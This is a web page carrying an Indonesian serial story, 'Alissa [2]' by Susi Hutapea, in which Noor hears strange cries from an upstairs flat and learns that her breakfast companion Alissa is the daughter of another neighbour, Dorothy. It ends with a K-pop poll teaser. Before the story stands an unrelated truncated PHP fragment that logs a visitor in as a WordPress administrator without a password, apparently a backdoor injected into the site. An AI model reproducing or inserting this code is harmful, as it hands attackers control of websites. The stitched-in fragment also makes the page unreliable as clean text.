user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Fiction
Alissa [2]

28 May 2012


<<<  Cerita Sebelumnya


“Siapa suruh membual.”

“Saya hanya berusaha memperpanjang kalimat. Tapi, sudahlah. Saya dapat teguran dari bos, dan dipindahkan ke siaran jazz. Sejak itu, saya di surga.”

Saya menelan ludah. Baru saya sadari, betapa monotonnya hidup saya. Lulus kuliah, bekerja di bank yang sama selama sepuluh tahun, lalu berhenti karena menikah dengan Titus.

Saya menatap Alissa tak lepas. Ah, seandainya saya dia….

Pagi itu kami sarapan berdua, seperti biasa. Duduk menikmati banana cake. Alissa yang membuatnya, dan harus saya katakan, cake itu sungguh lezat.

“Ini banana cake paling lezat yang pernah saya makan.”

“Ah, ya? Terima kasih. Saya membuatnya kemarin malam. Saya senang membuat kue malam hari, entah kenapa. Mungkin karena bunyi mixer lebih merdu di malam hari...,” katanya tertawa. “Alasan tak masuk akal.… Tapi, entahlah, saya senang membuat kue di malam hari.”

Kata-kata ‘bunyi mixer’ dan ‘malam hari’, membuat saya mendadak teringat pada suara-suara yang sering saya dengar.

“Alissa, kamu di lantai empat, kan, ya?”

“Ya.”

“Pintu kanan atau kiri?”

“Kiri. Ada apa?”

“Saya sering mendengar bunyi-bunyi aneh di malam hari. Titus menebak, itu dari lantai empat, karena tak begitu jelas terdengar. Kamu dengar itu juga?”

“Bunyi?” Ia membelalak. “Aaaaah. Itu.” Ia mengibaskan tangannya. “Kamu kenal Mr. Law? Paul Law? Dia tinggal di sebelah kiri. Ya. Pernah dengar nama itu? Dia seorang penulis skenario yang baik sekali. Karyanya banyak dipentaskan. A bit strange, sebagaimana layaknya seniman. Kalau dia sedang menulis sesuatu, hmmm, naskah, prosa atau semacam itu, ia sering terlalu menjiwai. Ia bisa menarik-narik kursi, atau menggebrak meja, atau bercakap-cakap sendiri….”

Saya mengangguk-angguk. Lega, karena teka-teki itu sudah terpecahkan. Saya bisa ceritakan pada Titus, ketika dia pulang.

“Nanti kamu akan dengar suara wanita terbahak-bahak. Atau menangis. Atau menjerit. Nah! Itu calon pemain dalam naskah sandiwaranya!”

Saya menghela napas dan tersenyum. Terjawab sudah tanda tanya besar itu.

“Saya tidak pernah bertemu dia.”

“Ouw. Come on. Berapa orang di flat ini yang pernah kamu jumpai, selain saya?” Alissa mengedipkan matanya.

Saya tersipu.

“Tidak ada. Tidak siapa-siapa.”

“Tidak juga suami saya.”

“Ah, ya. Meldwin.”

“Ck…ck…ck…. Lain kali. Saya janji. Saya akan paksa dia turun dan memperkenalkan diri pada kamu dan Titus.”

Saya mengibaskan tangan.

“Soal kecil,” kata saya. “Jangan terlalu merepotkan. Hanya kalau Meldwin tidak sibuk.”

“Hei. Kamu harus tambah sedikit mentega pada cake ini, Noor. Rasanya akan menjadi luar biasa. Di mana mentega? Ah, itu….” Ia menggapai mentega di sisi kanannya.

Kaus Alissa tersibak, dan saya melihat noda hijau di pinggangnya, sebesar separuh telapak tangan. Saya melongo menyaksikan pemandangan itu.

“Ada apa?” tanyanya heran melihat saya tertegun.

“Eh? Ah? Mmm. Tidak. Sini menteganya.”
Advertisement

Saya hamil. Kata dokter, kehamilan saya usianya enam minggu. Saya memberi kabar kepada para sahabat dekat. Kemarin berita besar ini sudah saya sampaikan kepada Ibu. Hari ini saya hendak memberi tahu Ratri, sahabat saya. Saya mengabarkannya lewat e-mail. Sambil mengetik, saya putar Suzanne Vega di CD player saya. Dan bergoyang-goyang kepala saya dibuatnya.

Tapi, ampun…. Apa itu? Bunyi apa itu? Aaaah. Pasti tetangga lantai empat itu lagi! Paul Law. Seperti apa, sih hebatnya dia? Dengarlah bunyinya. Sret. Sret. Sret. Dum. Dum. Bam. Bruuuk. Dan percakapannya seorang diri itu. Hmmm. Hmmm. Entah bagaimana rasanya jadi Alissa yang begitu dekat dengan sumber suara.

Suzanne Vega sudah selesai bernyanyi satu lagu, tanpa saya nikmati. Jengkel, saya matikan CD dan berusaha membaca. Aduh. Saya merinding. Saya seperti mendengar wanita menangis. Aduh.

Lekas-lekas saya ambil handphone.

“Titus…,” kata saya gugup setelah mendengar kata ‘halo’ di seberang.

“Noor? Ada apa?”

“Ssst. Lantai empat itu, Titus. Kali ini terdengar suara tangisan, Titus.… Aku takut?”

“Alaaa. Sudah dibilang Alissa, kan, dia penulis skenario. Mungkin sekarang yang menangis itu calon pemeran wanitanya! Jangan paranoid begitu, dong. Sekarang sedang apa kamu?”

Saya menghela napas. Saya mendengar tangisan itu. Saya merasa, itu bukan sebuah latihan sandiwara.

“Hmmm. Ya, sudah, deh.”

Saya letakkan handphone. Lebih baik memasang CD dengan lebih keras. Berharap tetangga sebelah agak sedikit tuli dan tidak terganggu. Daripada mendengar tangisan yang menusuk sumsum.

Belum lima menit, terdengar ketukan di pintu saya.

Mampus. Saya mengganggu orang, pasti.… Saya matikan CD saya.

“Ms. Gunawan?” suara dari luar.

“Yes?” kata saya dari dalam sambil sibuk mendapatkan gambaran keseluruhan lewat lubang di pintu.

“I am Dorothy. Maaf mengganggu. Tapi, tagihan air Anda masuk ke kamar saya.”

“Oh,” saya menarik napas lega. Merasa luput dari ‘teguran’ maut. Lekas-lekas, saya bukakan pintu. Kenalan baru, pikir saya. “Terima kasih.”

“Ia salah menulis lantainya. Ditulisnya lantai tiga, jadi sampai pada saya.”

“Oh, Anda di lantai tiga,” kata saya. “Senang bisa bertemu Anda.”

“Saya juga. Anda sudah lama di sini?”

“Well, not really. Tapi, setidaknya saya sudah mengenal tetangga saya: Anda, Dorothy. Dan Alissa.

“Alissa?” wanita itu mengernyitkan alisnya. Seperti melihat tarantula.

“Ia teman saya sarapan.”

“Teman sarapan?”

Saya mulai terganggu dengan reaksinya yang berlebihan. Saya, toh, tidak sarapan dengan hantu, pikir saya.

“Anda kenal Alissa, Madam?” tanya saya sedikit jengkel.

Dorothy menatap saya lurus.

“Ia putri saya.”




Penulis: Susi Hutapea




 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?